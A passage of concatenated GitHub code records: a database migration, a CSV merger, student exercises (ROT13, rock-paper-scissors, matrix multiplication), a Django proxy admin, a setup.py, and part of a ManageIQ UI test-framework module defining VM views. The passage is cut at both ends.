404","repo_name":"plantdoot/sm_fastapi","sub_path":"tests/test_posts.py","file_name":"test_posts.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4337479093","text":"\"\"\"Private types and categories\n\nRevision ID: 2cd06f7444f8\nRevises: 1016f365bfa7\nCreate Date: 2014-08-14 00:07:15.324411\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '2cd06f7444f8'\ndown_revision = '1016f365bfa7'\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n\ndef upgrade():\n    op.add_column(\n        'jobcategory',\n        sa.Column('private', sa.Boolean(), nullable=False, server_default='0'),\n    )\n    op.alter_column('jobcategory', 'private', server_default=None)\n    op.add_column(\n        'jobtype',\n        sa.Column('private', sa.Boolean(), nullable=False, server_default='0'),\n    )\n    op.alter_column('jobtype', 'private', server_default=None)\n\n\ndef downgrade():\n    op.drop_column('jobtype', 'private')\n    op.drop_column('jobcategory', 'private')\n","repo_name":"hasgeek/hasjob","sub_path":"migrations/versions/2cd06f7444f8_private_types_and_ca.py","file_name":"2cd06f7444f8_private_types_and_ca.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":236,"dataset":"github-code","pt":"77"}
+{"seq_id":"8366321680","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 29 14:24:08 2017\n\n@author: jonasmg\n\"\"\"\n\n#############################################\n# Jonas Mueller Gastell & Melanie Wallskog\n# History Project\n\n#############################################\n# Merging Links\n# 2017 06 25\n\n\n#########################\n# \"administrative stuff\"\n\nfrom __future__ import division\n\nimport pandas as pd\n\nfrom os import chdir\n\n\n##################### \n# Data Storage, Output and Input\n\n# select correct directory\ndirectory = '/home/jonasmg/Prog/scrapinghistory/input/'\nchdir(directory)\n\n# what is our input?\ninputfile = [\"SCLinks/SC1911NewRec\" + L + \".csv\"  for L in [\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\", \"I\", \"J\",\"K\"]]\n\n# what is our output?\noutputfile = \"SC1911Merged2.csv\"\n\n# Read in the data\ndf = pd.read_csv(inputfile[0], sep =',')\n\nfor i in range(1,len(inputfile) + 1):\n\ttry:\n\t\tdfa = pd.read_csv(inputfile[i], sep =',') \n\t\tdf = df.append(dfa)\n\texcept:\n\t\tcontinue\n\n\n\ndf.drop(df.columns[0], axis=1, inplace=True)\ndf.reset_index(inplace = True,drop= True)\n\ndf = df[df[\"Links\"].notnull()]\n\n\ndf.to_csv(outputfile,sep=',', na_rep='', float_format=None, header=True,encoding='utf-8')\t\n","repo_name":"JonasEc/historyproject2017","sub_path":"gather/SurreyRecruit/SC1911Linkmerger2.py","file_name":"SC1911Linkmerger2.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29479174089","text":"def rot13(palabra):\n    abecedario=\"abcdefghijklmnopqrstuvwxyz\"\n    lista_abc= list(abecedario)\n    lista_palabra= list(palabra)\n    resultado=[]\n    i=0\n    for letra in lista_palabra:\n       posicion= lista_abc.index(letra)\n       nueva_posicion= posicion+13\n       if nueva_posicion>25:\n          nueva_n_posicion= nueva_posicion-26\n          letra_codificada= lista_abc[nueva_n_posicion]\n          resultado.append(letra_codificada)\n       else:\n          letra_codificada= lista_abc[nueva_posicion]\n          resultado.append(letra_codificada)\n       \n    resultado_final= \"\".join(resultado)\n    return resultado_final\n       \n       \n\nif __name__==\"__main__\":\n    palabra=input(\"Ingresa la palabra que quieras encriptar: \")\n    palabra.lower()\n    resultado=rot13(palabra)\n    print(\"El resultado es: \",resultado)\n           ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema8_ej4/tema8_ej4_d1fc78ae59f9a26f70994a3c54d0cba0.py","file_name":"tema8_ej4_d1fc78ae59f9a26f70994a3c54d0cba0.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12755489816","text":"from django.contrib import admin\n\nfrom .models import Proxy\n\nclass ProxyAdmin(admin.ModelAdmin):\n    list_display = [\n        'id',\n        'addr',\n        'is_active',\n        'is_http',\n        'is_socks4',\n        'calls_count',\n        'errors_count',\n    ]\n    list_filter = ['is_active','is_http','is_socks4',]\n\nadmin.site.register(Proxy,ProxyAdmin)\n","repo_name":"andrewp-as-is/github42.com-command-worker","sub_path":"base/apps/proxy/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18124253576","text":"import random\n\ndef main():\n    # Welcome the user to the game\n    print(\"Welcome to Rock, Paper, Scissors. Good luck!\")\n    playing = True\n    \n    while playing:\n        print()\n        \n    # Make a choice for the computer player\n        choices = (\"Rock\", \"Paper\", \"Scissors\")\n        computer_choice = random.choice(choices)\n\n    \n    # Get a choice from the user\n        user_choice = input(\"Enter your choice (Rock, Paper, Scissors): \")\n        print()\n    \n    # Compare the user and computer choice\n        print(f\"The computer chooses {computer_choice}\")\n        print()\n    \n    # Print the result based on the choices\n        if user_choice in choices:\n            if computer_choice == user_choice:\n                print(f\"{computer_choice} and {user_choice}. It's a draw.\")\n            elif computer_choice == \"Rock\" and user_choice == \"Scissors\":\n                print(\"Rock smashes Scissors. You lose!\")\n            elif computer_choice == \"Scissors\" and user_choice == \"Paper\":\n                print(\"Scissors cut Paper. You lose!\")\n            elif computer_choice == \"Paper\" and user_choice == \"Rock\":\n                print(\"Paper covers Rock. You lose!\")\n            elif computer_choice == \"Scissors\" and user_choice == \"Rock\":\n                print(\"Rock smashes Scissors. You win!\")\n            elif computer_choice == \"Paper\" and user_choice == \"Scissors\":\n                print(\"Scissors cut Paper. You win!\")\n            elif computer_choice == \"Rock\" and user_choice == \"Paper\":\n                print(\"Paper covers Rock. You win!\")\n        else:\n            print(\"You have to enter Rock, Paper, or Scissors.\")\n        play_again = input(\"play again? (y/n): \")\n        if not play_again == \"y\":\n            playing = False\n\n        print(\"Thanks for playing, hope to see you next time. Bye!\")\n\nif __name__ == \"__main__\":\n    main()","repo_name":"Just-Alexa/Simple-Chat-Bot","sub_path":"games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32258963551","text":"import sys\nimport os\n\nfrom setuptools import setup, find_packages\nimport support\nsupport.use(\"system\")\nsupport.set_package_name(\"omuse\")\nfrom support.setup_codes import setup_commands\nfrom support.classifiers import classifiers\n\nname = 'omuse-framework'\nauthor = 'The Amuse/ Omuse Team'\nauthor_email = 'info@amusecode.org'\nlicense_ = \"Apache License 2.0\"\nurl = 'https://github.com/omuse-geoscience/omuse'\ninstall_requires = [\n    'wheel>=0.32',\n    'docutils>=0.6',\n    'numpy>=1.2.2',\n    'nose>=0.11.1',\n    'mpi4py>=1.1.0',\n    'h5py>=1.1.0',\n    'amuse-framework>=2021.3.1',\n    'netCDF4>=1.4.0',\n    'f90nml>=1.0.0'\n]\ndescription = 'The Oceanographic Multi-purpose Software Environment: base framework '\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\nlong_description_content_type = \"text/markdown\"\n\nextensions = []\n\nall_data_files = []\n\npackages = find_packages('src', exclude=[\"omuse.community.*\"])\n\npackage_data = {\n}\n\nmapping_from_command_name_to_command_class=setup_commands()\n\nsetup(\n    name=name,\n    classifiers=classifiers,\n    url=url,\n    author_email=author_email,\n    author=author,\n    license=license_,\n    description=description,\n    long_description=long_description,\n    long_description_content_type=long_description_content_type,\n    install_requires=install_requires,\n    #~ extras_require = {\n        #~ \"MPI\" : [\"mpi4py>=1.1.0\"]\n    #~ },\n    cmdclass=mapping_from_command_name_to_command_class,\n    ext_modules=extensions,\n    package_dir = {'': 'src'},\n    packages=packages,\n    package_data=package_data,\n    data_files=all_data_files,\n)\n","repo_name":"omuse-geoscience/omuse","sub_path":"packages/omuse-framework/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"77"}
+{"seq_id":"29485589739","text":"class Matriz:\n    def __init__(self, datos):\n        self.datos = datos\n\n    def __mul__(self, otra_matriz):\n        if len(self.datos[0]) != len(otra_matriz.datos):\n            raise ValueError(\"Las dimensiones de las matrices no son compatibles para la multiplicación.\")\n\n        filas_self = len(self.datos)\n        columnas_self = len(self.datos[0])\n        filas_otra = len(otra_matriz.datos)\n        columnas_otra = len(otra_matriz.datos[0])\n\n        # Crear una matriz resultado llena de ceros\n        resultado = [[0] * columnas_otra for _ in range(filas_self)]\n\n        # Realizar la multiplicación de matrices\n        for i in range(filas_self):\n            for j in range(columnas_otra):\n                for k in range(columnas_self):\n                    resultado[i][j] += self.datos[i][k] * otra_matriz.datos[k][j]\n\n        return Matriz(resultado)\n        \nif __name__ == \"__main__\":\n    a=Matriz([[1,2],[3,4]])\n    b=Matriz([[5,6],[7,8]])\n    r=a*b\n    print(r)\n           ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema9_ej2/tema9_ej2_46b1e9d651a7228a4ff51c260274c9e7.py","file_name":"tema9_ej2_46b1e9d651a7228a4ff51c260274c9e7.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18092414798","text":"\"\"\"A model of Infrastructure Virtual Machines area of CFME.  This includes the VMs explorer tree,\nquadicon lists, and VM details page.\n\"\"\"\nimport re\nfrom collections import namedtuple\nfrom copy import copy\n\nimport attr\nimport fauxfactory\nfrom navmazing import NavigateToAttribute\nfrom navmazing import NavigateToSibling\nfrom navmazing import NavigationDestinationNotFound\nfrom widgetastic.utils import Parameter\nfrom widgetastic.utils import partial_match\nfrom widgetastic.widget import NoSuchElementException\nfrom widgetastic.widget import ParametrizedView\nfrom widgetastic.widget import Table as WTable\nfrom widgetastic.widget import Text\nfrom widgetastic.widget import TextInput\nfrom widgetastic.widget import View\nfrom widgetastic_patternfly import BootstrapSelect\nfrom widgetastic_patternfly import BootstrapSwitch\nfrom widgetastic_patternfly import Button\nfrom widgetastic_patternfly import CheckableBootstrapTreeview\nfrom widgetastic_patternfly import Dropdown\nfrom widgetastic_patternfly import Input as WInput\n\nfrom cfme.common import BaseLoggedInPage\nfrom cfme.common import ComparableMixin\nfrom cfme.common import CompareView\nfrom cfme.common import TimelinesView\nfrom cfme.common.provider_views import TemplatesCompareView\nfrom cfme.common.vm import Template\nfrom cfme.common.vm import TemplateCollection\nfrom cfme.common.vm import VM\nfrom cfme.common.vm import VMCollection\nfrom cfme.common.vm_views import CloneVmView\nfrom cfme.common.vm_views import EditView\nfrom cfme.common.vm_views import ManagementEngineView\nfrom cfme.common.vm_views import MigrateVmView\nfrom cfme.common.vm_views import PolicySimulationView\nfrom cfme.common.vm_views import ProvisionView\nfrom cfme.common.vm_views import PublishVmView\nfrom cfme.common.vm_views import RenameVmView\nfrom cfme.common.vm_views import RetirementViewWithOffset\nfrom cfme.common.vm_views import SetOwnershipView\nfrom cfme.common.vm_views import VMDetailsEntities\nfrom cfme.common.vm_views import VMEntities\nfrom cfme.common.vm_views import VMToolbar\nfrom cfme.exceptions import DestinationNotFound\nfrom cfme.exceptions import displayed_not_implemented\nfrom cfme.exceptions import ItemNotFound\nfrom cfme.exceptions import ToolbarOptionGreyedOrUnavailable\nfrom cfme.services.requests import RequestsView\nfrom cfme.utils.appliance.implementations.ui import CFMENavigateStep\nfrom cfme.utils.appliance.implementations.ui import navigate_to\nfrom cfme.utils.appliance.implementations.ui import navigator\nfrom cfme.utils.conf import cfme_data\nfrom cfme.utils.log import logger\nfrom cfme.utils.pretty import Pretty\nfrom cfme.utils.providers import get_crud_by_name\nfrom cfme.utils.wait import wait_for\nfrom widgetastic_manageiq import Accordion\nfrom widgetastic_manageiq import CompareToolBarActionsView\nfrom widgetastic_manageiq import ConditionalSwitchableView\nfrom widgetastic_manageiq import ManageIQTree\nfrom widgetastic_manageiq import PaginationPane\nfrom widgetastic_manageiq import Search\nfrom widgetastic_manageiq import SnapshotMemorySwitch\nfrom widgetastic_manageiq import SummaryTable\nfrom widgetastic_manageiq import Table\nfrom widgetastic_manageiq.vm_reconfigure import DisksTable\nfrom widgetastic_manageiq.vm_reconfigure import NetworkAdaptersTable\n\n\ndef has_child(tree, text, parent_item=None):\n    \"\"\"Check if a tree has an item with text\"\"\"\n    if not parent_item:\n        parent_item = tree.root_item\n    if tree.child_items_with_text(parent_item, text):\n        return True\n    else:\n        for item in tree.child_items(parent_item):\n            if has_child(tree, text, item):\n                return True\n    return False\n\n\ndef find_path(tree, text, parent_item=None):\n    \"\"\"Find the path to an item with text\"\"\"\n    if not parent_item:\n        parent_item = tree.root_item\n    path = [parent_item.text]\n    tree.expand_node(tree.get_nodeid(parent_item))\n    children = tree.child_items_with_text(parent_item, text)\n    if children:\n        for child in children:\n            if child.text:\n                return path + [child.text]\n        return []\n    else:\n        for item in tree.child_items(parent_item):\n            child_path = find_path(tree, text, item)\n            if child_path:\n                return path + child_path\n    return []\n\n\nclass InfraGenericDetailsToolbar(View):\n    reload = Button(title='Refresh this page')\n    history = Dropdown('History')\n    configuration = Dropdown('Configuration')\n    policy = Dropdown('Policy')\n    monitoring = Dropdown(\"Monitoring\")\n    download = Button(title='Print or export summary')\n    lifecycle = Dropdown('Lifecycle')\n\n    @ParametrizedView.nested\n    class custom_button(ParametrizedView):  # noqa\n        PARAMETERS = (\"button_group\", )\n        _dropdown = Dropdown(text=Parameter(\"button_group\"))\n\n        def item_select(self, button, handle_alert=None):\n            self._dropdown.item_select(button, handle_alert=handle_alert)\n\n\nclass InfraVmDetailsToolbar(InfraGenericDetailsToolbar):\n    \"\"\"Toolbar for VM details differs from All VMs&TemplatesView\n    \"\"\"\n    access = Dropdown(\"Access\")\n    power = Dropdown(text='Power')\n\n\nclass VmsTemplatesAccordion(View):\n    \"\"\"\n    The accordion on the Virtual Machines page\n    \"\"\"\n    @View.nested\n    class vmstemplates(Accordion):  # noqa\n        ACCORDION_NAME = 'VMs & Templates'\n        tree = ManageIQTree()\n\n    @View.nested\n    class vms(Accordion):  # noqa\n        ACCORDION_NAME = 'VMs'\n        tree = ManageIQTree()\n\n    @View.nested\n    class templates(Accordion):  # noqa\n        ACCORDION_NAME = 'Templates'\n        tree = ManageIQTree()\n\n\nclass InfraVmView(BaseLoggedInPage):\n    \"\"\"Base view for header/nav check, inherit for navigatable views\"\"\"\n\n    @property\n    def in_infra_vms(self):\n        return (\n            self.logged_in_as_current_user and\n            self.navigation.currently_selected == ['Compute', 'Infrastructure', 'Virtual Machines'])\n\n\nclass VmsTemplatesAllView(InfraVmView):\n    \"\"\"\n    The collection page for instances\n    \"\"\"\n    actions = View.nested(CompareToolBarActionsView)\n    toolbar = View.nested(VMToolbar)\n    sidebar = View.nested(VmsTemplatesAccordion)\n    including_entities = View.include(VMEntities, use_parent=True)\n    paginator = PaginationPane()\n\n    @property\n    def is_displayed(self):\n        return (\n            self.in_infra_vms and\n            self.sidebar.vmstemplates.tree.currently_selected == ['All VMs & Templates'] and\n            self.entities.title.text == 'All VMs & Templates')\n\n    def reset_page(self):\n        \"\"\"It resets the 'search filter' to empty or removes the value of 'search filter' if already\n        present\"\"\"\n        self.entities.search.remove_search_filters()\n\n\nclass OrphanedVmsAllView(VmsTemplatesAllView):\n    \"\"\"This view is for all Orphaned Vms page\"\"\"\n\n    @property\n    def is_displayed(self):\n        selected = self.sidebar.vmstemplates.tree.currently_selected\n        return (\n            self.in_infra_vms\n            and selected == [\"All VMs & Templates\", \"<Orphaned>\"]\n            and self.entities.title.text == \"Orphaned VM or Templates\"\n        )\n\n\nclass ArchivedVmsAllView(VmsTemplatesAllView):\n    \"\"\"This view is for all Archived Vms page\"\"\"\n\n    @property\n    def is_displayed(self):\n        selected = self.sidebar.vmstemplates.tree.currently_selected\n        return (\n            self.in_infra_vms\n            and selected == [\"All VMs & Templates\", \"<Archived>\"]\n            and self.entities.title.text == \"Archived VM or Templates\"\n        )\n\n\nclass VmTemplatesAllForProviderView(InfraVmView):\n    toolbar = View.nested(VMToolbar)\n    sidebar = View.nested(VmsTemplatesAccordion)\n    including_entities = View.include(VMEntities, use_parent=True)\n\n    @property\n    def is_displayed(self):\n        expected_provider = None\n        # Could be collection or entity\n        # If entity it will have provider attribute\n        if getattr(self.context['object'], 'provider', False):\n            expected_provider = self.context['object'].provider.name\n        # if collection will have provider filter\n        elif 'provider' in getattr(self.context['object'], 'filters', {}):\n            expected_provider = self.context['object'].filters.get('provider').name\n\n        if expected_provider is None:\n            self.logger.warning('No provider available on context for is_displayed: %s',\n                                self.context['object'])\n            return False\n        else:\n            return (\n                self.in_infra_vms and\n                str(self.entities.title.text) ==\n                f'VM or Templates under Provider \"{expected_provider}\"'\n            )\n\n    def reset_page(self):\n        self.entities.search.remove_search_filters()\n\n\nclass VmsOnlyAllView(InfraVmView):\n    toolbar = View.nested(VMToolbar)\n    sidebar = View.nested(VmsTemplatesAccordion)\n    search = View.nested(Search)\n    including_entities = View.include(VMEntities, use_parent=True)\n\n    @View.nested\n    class filters(Accordion):  # noqa\n        ACCORDION_NAME = \"All VMs\"\n\n        tree = ManageIQTree()\n\n    @property\n    def is_displayed(self):\n        return (\n            self.in_infra_vms and\n            self.sidebar.vms.tree.currently_selected == ['All VMs'] and\n            self.entities.title.text == 'All VMs')\n\n    def reset_page(self):\n        self.entities.search.remove_search_filters()\n\n\nclass TemplatesOnlyAllView(InfraVmView):\n    toolbar = View.nested(VMToolbar)\n    sidebar = View.nested(VmsTemplatesAccordion)\n    search = View.nested(Search)\n    including_entities = View.include(VMEntities, use_parent=True)\n\n    @property\n    def is_displayed(self):\n        return (\n            self.in_infra_vms and\n            self.sidebar.templates.tree.currently_selected == ['All Templates'] and\n            self.entities.title.text == 'All Templates')\n\n\nclass ProviderTemplatesOnlyAllView(TemplatesOnlyAllView):\n\n    @property\n    def is_displayed(self):\n        data = {\n            'provider': self.context['object'].name,\n            'images': ' and Images' if self.browser.product_version > '5.10' else ''\n        }\n        title = '{provider} (All VM Templates{images})'.format(**data)\n        return (\n            self.logged_in_as_current_user and\n            self.navigation.currently_selected == ['Compute', 'Infrastructure', 'Providers'] and\n            self.entities.title.text == title\n        )\n\n\nclass HostTemplatesOnlyAllView(TemplatesOnlyAllView):\n\n    @property\n    def is_displayed(self):\n        if self.browser.product_version < \"5.10\":\n            title = \"{} (All VM Templates)\".format(self.context[\"object\"].name)\n        else:\n            title = \"{} (All VM Templates and Images)\".format(self.context[\"object\"].name)\n        return (\n            self.logged_in_as_current_user and\n            self.navigation.currently_selected == ['Compute', 'Infrastructure', 'Hosts'] and\n            self.entities.title.text == title\n        )\n\n\nclass VmTemplatesCompareView(TemplatesCompareView):\n    \"\"\"Compare Templates page.\"\"\"\n\n    @property\n    def is_displayed(self):\n        title = \"Compare VM Template and Image\"\n        return (self.navigation.currently_selected ==\n                ['Compute', 'Infrastructure', 'Virtual Machines']\n                and self.title.text == title)\n\n\nclass InfraVmSummaryView(VMDetailsEntities):\n    operating_ranges = SummaryTable(title=\"Normal Operating Ranges (over 30 days)\")\n    datastore_allocation = SummaryTable(title=\"Datastore Allocation Summary\")\n    datastore_usage = SummaryTable(title=\"Datastore Actual Usage Summary\")\n\n\nclass InfraVmContainerView(VMDetailsEntities):\n    basic_information = SummaryTable(title=\"Basic Information\")\n    device = SummaryTable(title=\"Devices\")\n\n    @property\n    def is_displayed(self):\n        return self.basic_information.is_displayed and self.device.is_displayed\n\n\nclass InfraVmDetailsView(InfraVmView):\n    title = Text('#explorer_title_text')\n    toolbar = ConditionalSwitchableView(reference='entities.title')\n\n    @toolbar.register(lambda title: \"VM and Instance\" in title or \"Virtual Machine\" in title)\n    class VmsToolbar(InfraVmDetailsToolbar):\n        pass\n\n    @toolbar.register(lambda title: \"Template\" in title)\n    class TemplatesToolbar(InfraGenericDetailsToolbar):\n        pass\n\n    sidebar = View.nested(VmsTemplatesAccordion)\n    entities = View.nested(VMDetailsEntities)\n\n    @property\n    def is_displayed(self):\n        if isinstance(self.context['object'], InfraVm):\n            expected_titles = ['VM and Instance \"{}\"'.format(self.context[\"object\"].name),\n                               'Virtual Machine \"{}\"'.format(self.context[\"object\"].name)]\n        elif isinstance(self.context['object'], InfraTemplate):\n            expected_titles = ['VM Template and Image \"{}\"'.format(self.context[\"object\"].name)]\n        else:\n            return False\n\n        expected_provider = self.context['object'].provider.name\n        try:\n            relationships = self.entities.summary('Relationships')\n            relationship_provider_name = relationships.get_text_of('Infrastructure Provider')\n        except NameError:\n            currently_selected = self.sidebar.vmstemplates.tree.currently_selected[-1]\n            if currently_selected in ['<Archived>', '<Orphaned>']:\n                return (\n                    self.in_infra_vms and\n                    self.entities.title.text in expected_titles)\n            self.logger.warning(\n                'No \"Infrastructure Provider\" Relationship, VM details view not displayed'\n            )\n            return False\n        return (\n            self.in_infra_vms and\n            self.entities.title.text in expected_titles and\n            relationship_provider_name == expected_provider)\n\n\nclass InfraVmTimelinesView(TimelinesView, InfraVmView):\n\n    @property\n    def is_displayed(self):\n        if self.breadcrumb.is_displayed:\n            check_object = self.breadcrumb.locations\n        else:\n            # since in 5.10 there is no breadcrumb\n            check_object = self.title.text\n\n        return (\n            self.context['object'].name in check_object and\n            # this last check is less specific due to BZ 1732517\n            \"Timeline\" in self.title.text\n        )\n\n\nclass InfraVmReconfigureView(BaseLoggedInPage):\n    title = Text('#explorer_title_text')\n\n    memory = BootstrapSwitch(name='cb_memory')\n    # memory set to True unlocks the following (order matters - first type then value!):\n    mem_size_unit = BootstrapSelect(id='mem_type')\n    mem_size = WInput(id='memory_value')\n\n    cpu = BootstrapSwitch(name='cb_cpu')\n    # cpu set to True unlocks the following:\n    sockets = BootstrapSelect(id='socket_count')\n    cores_per_socket = BootstrapSelect(id='cores_per_socket_count')\n    cpu_total = WInput()  # read-only, TODO widgetastic\n\n    disks_table = DisksTable('//div/table[./../h3[normalize-space(text())=\"Disks\"]//button]',\n        column_widgets={\n            \"Type\": BootstrapSelect(id=\"hdType\"),\n            \"Mode\": BootstrapSelect(id=\"hdMode\"),\n            \"Size\": WInput(locator='//*[@id=\"dvcResize\" or @id=\"dvcSize\"]'),\n            \"ControllerType\": BootstrapSelect(id=\"Controller\"),\n            \"Unit\": BootstrapSelect(id=\"hdUnit\"),\n            \"Dependent\": BootstrapSwitch(name=\"vm.cb_dependent\"),\n            \"Delete Backing\": BootstrapSwitch(name=\"cb_deletebacking\"),\n            \"Actions\": Button(),\n            # second action button, 'Cancel Add' or 'Delete' depending on context of row\n            # https://github.com/RedHatQE/widgetastic.core/issues/95\n            9: Button(),\n        }\n    )\n\n    network_adapters_table = NetworkAdaptersTable(\n        '//div/table[./../h3[normalize-space(text())=\"Network Adapters\"]]',\n        column_widgets={\"vLan\": BootstrapSelect(id=\"vLan\"), \"Actions\": Button(), 4: Button()},\n    )\n\n    cd_dvd_table = WTable('//div/table[./../h3[normalize-space(text())=\"CD/DVD Drives\"]]',\n        column_widgets={\n            \"Host File\": BootstrapSelect(id=\"isoName\"),\n            \"Actions\": Button(),\n            # second action button, 'Cancel Add' or 'Delete' depending on context of row\n            # https://github.com/RedHatQE/widgetastic.core/issues/95\n            3: Button('Connect'),\n        }\n    )\n    affected_vms = Table('.//div[@id=\"records_div\" or @id=\"miq-gtl-view\"]//table')\n\n    submit_button = Button('Submit', classes=[Button.PRIMARY])\n    cancel_button = Button('Cancel', classes=[Button.DEFAULT])\n\n    @property\n    def is_displayed(self):\n        return (self.title.text == 'Reconfigure Virtual Machine' and\n                len([row for row in self.affected_vms.rows()]) >= 1 and\n                self.context['object'].name in [row.name.text for row in self.affected_vms.rows()])\n\n\nclass InfraVmOsView(InfraVmView):\n    \"\"\"The Operating System page\"\"\"\n    title = Text('#explorer_title_text')\n    basic_information = SummaryTable(title=\"Basic Information\")\n\n    @property\n    def is_displayed(self):\n        name = self.context['object'].name\n        expected_title = f'\"OS Info\" for Virtual Machine \"{name}\"'\n        return self.in_infra_vms and self.title.text == expected_title\n\n\nclass InfraVmSnapshotToolbar(View):\n    \"\"\"The toolbar on the snapshots page\"\"\"\n    history = Dropdown('History')\n    reload = Button(title='Refresh this page')\n    create = Button(title='Create a new snapshot for this VM')\n    delete = Dropdown('Delete Snapshots')\n    revert = Button(title='Revert to selected snapshot')\n\n\nclass InfraVmSnapshotView(InfraVmView):\n    \"\"\"The Snapshots page\"\"\"\n    toolbar = View.nested(InfraVmSnapshotToolbar)\n    sidebar = View.nested(VmsTemplatesAccordion)\n    title = Text('#explorer_title_text')\n    description = Text('//label[normalize-space(.)=\"Description\"]/../div/p|'\n                       '//td[@class=\"key\" and normalize-space(.)=\"Description\"]/..'\n                       '/td[not(contains(@class, \"key\"))]')\n    size = Text('.//label[normalize-space(.)=\"Size\"]/../div/p')\n    tree = ManageIQTree('snapshot_treebox')\n\n    @property\n    def is_displayed(self):\n        \"\"\"Is this view being displayed\"\"\"\n        expected_title = '\"Snapshots\" for Virtual Machine \"{}\"'.format(self.context['object'].name)\n        return self.in_infra_vms and self.title.text == expected_title\n\n\nclass InfraVmSnapshotAddView(InfraVmView):\n    \"\"\"Add a snapshot\"\"\"\n    title = Text('#explorer_title_text')\n    name = TextInput('name')\n    description = TextInput('description')\n    snapshot_vm_memory = SnapshotMemorySwitch()\n    create = Button('Create')\n    cancel = Button('Cancel')\n\n    is_displayed = displayed_not_implemented\n\n\nclass InfraVmGenealogyToolbar(View):\n    \"\"\"The toolbar on the genealogy page\"\"\"\n    history = Dropdown(title='History')\n    reload = Button(title='Refresh this page')\n    edit_tags = Button(title='Edit Tags for this VM')\n    compare = Button(title='Compare selected VMs')\n\n\nclass InfraVmGenealogyView(InfraVmView):\n    \"\"\"The Genealogy page\"\"\"\n    toolbar = View.nested(InfraVmGenealogyToolbar)\n    sidebar = View.nested(VmsTemplatesAccordion)\n    title = Text('#explorer_title_text')\n    tree = CheckableBootstrapTreeview('genealogy_treebox')\n\n    @property\n    def is_displayed(self):\n        \"\"\"Is this view being displayed\"\"\"\n        expected_title = '\"Genealogy\" for Virtual Machine \"{}\"'.format(self.context['object'].name)\n        return self.in_infra_vms and self.title.text == expected_title\n\n\nclass InfraVmCompareView(CompareView):\n    @property\n    def is_displayed(self):\n        title = \"Compare VM or Template\"\n        return (self.title.text == title and\n                self.navigation.currently_selected == ['Compute',\n                                                       'Infrastructure', 'Virtual Machines']\n                )\n\n\nclass VMDisk(\n        namedtuple('VMDisk', ['filename', 'size', 'size_unit', 'type', 'mode'])):\n    \"\"\"Represents a single VM disk\n\n    Note:\n        Cannot be changed once created.\n    \"\"\"\n    EQUAL_ATTRS = {'type', 'mode', 'size_mb'}\n\n    def __eq__(self, other):\n        # If both have filename, it's easy\n        if self.filename and other.filename:\n            return self.filename == other.filename\n        # If one of filenames is None (before disk is created), compare the rest\n        for eq_attr in self.EQUAL_ATTRS:\n            if getattr(self, eq_attr) != getattr(other, eq_attr):\n                return False\n        return True\n\n    @property\n    def size_mb(self):\n        return self.size * 1024 if self.size_unit == 'GB' else self.size\n\n\nclass VMHardware:\n    \"\"\"Represents VM's hardware, i.e. CPU (cores, sockets) and memory\n    \"\"\"\n    EQUAL_ATTRS = {'cores_per_socket', 'sockets', 'mem_size_mb'}\n\n    def __init__(self, cores_per_socket=None, sockets=None, mem_size=None, mem_size_unit='MB'):\n        self.cores_per_socket = cores_per_socket\n        self.sockets = sockets\n        self.mem_size = mem_size\n        self.mem_size_unit = mem_size_unit\n\n    def __eq__(self, other):\n        for eq_attr in self.EQUAL_ATTRS:\n            if getattr(self, eq_attr) != getattr(other, eq_attr):\n                return False\n        return True\n\n    @property\n    def mem_size_mb(self):\n        return self.mem_size * 1024 if self.mem_size_unit == 'GB' else self.mem_size\n\n\nclass NetworkAdapter(namedtuple(\"NetworkAdapter\", [\"name\", \"vlan\"])):\n    # just compare name not vlan\n    def __eq__(self, other):\n        return self.name == other.name\n\n\nclass VMConfiguration(Pretty):\n    \"\"\"Represents VM's full configuration - hardware, disks and so forth\n\n    Args:\n        vm: VM that exists within current appliance\n\n    Note:\n        It can be only instantiated by fetching an existing VM's configuration, as it is designed\n        to be used to reconfigure an existing VM.\n    \"\"\"\n    pretty_attrs = ['hw', 'num_disks']\n\n    def __init__(self, vm):\n        self.hw = VMHardware()\n        self.disks = []\n        self.vm = vm\n        self.network_adapters = []\n        self._load()\n\n    def __eq__(self, other):\n        return (\n            self.hw == other.hw\n            and self.num_disks == other.num_disks\n            and all(disk in other.disks for disk in self.disks)\n            and self.num_network_adapters == other.num_network_adapters\n        )\n\n    def _load(self):\n        \"\"\"Loads the configuration from the VM object's appliance (through DB)\n        \"\"\"\n        appl_db = self.vm.appliance.db.client\n\n        # Hardware\n        ems = appl_db['ext_management_systems']\n        vms = appl_db['vms']\n        hws = appl_db['hardwares']\n        guest_devices = appl_db[\"guest_devices\"]\n\n        hw_data = appl_db.session.query(ems, vms, hws).filter(\n            ems.name == self.vm.provider.name).filter(\n            vms.ems_id == ems.id).filter(\n            vms.name == self.vm.name).filter(\n            hws.vm_or_template_id == vms.id\n        ).first().hardwares\n\n        self.hw = VMHardware(\n            hw_data.cpu_cores_per_socket, hw_data.cpu_sockets, hw_data.memory_mb, 'MB')\n        hw_id = hw_data.id\n\n        # Network adapter\n        from cfme.infrastructure.provider.virtualcenter import VMwareProvider\n        if self.vm.provider.one_of(VMwareProvider):\n            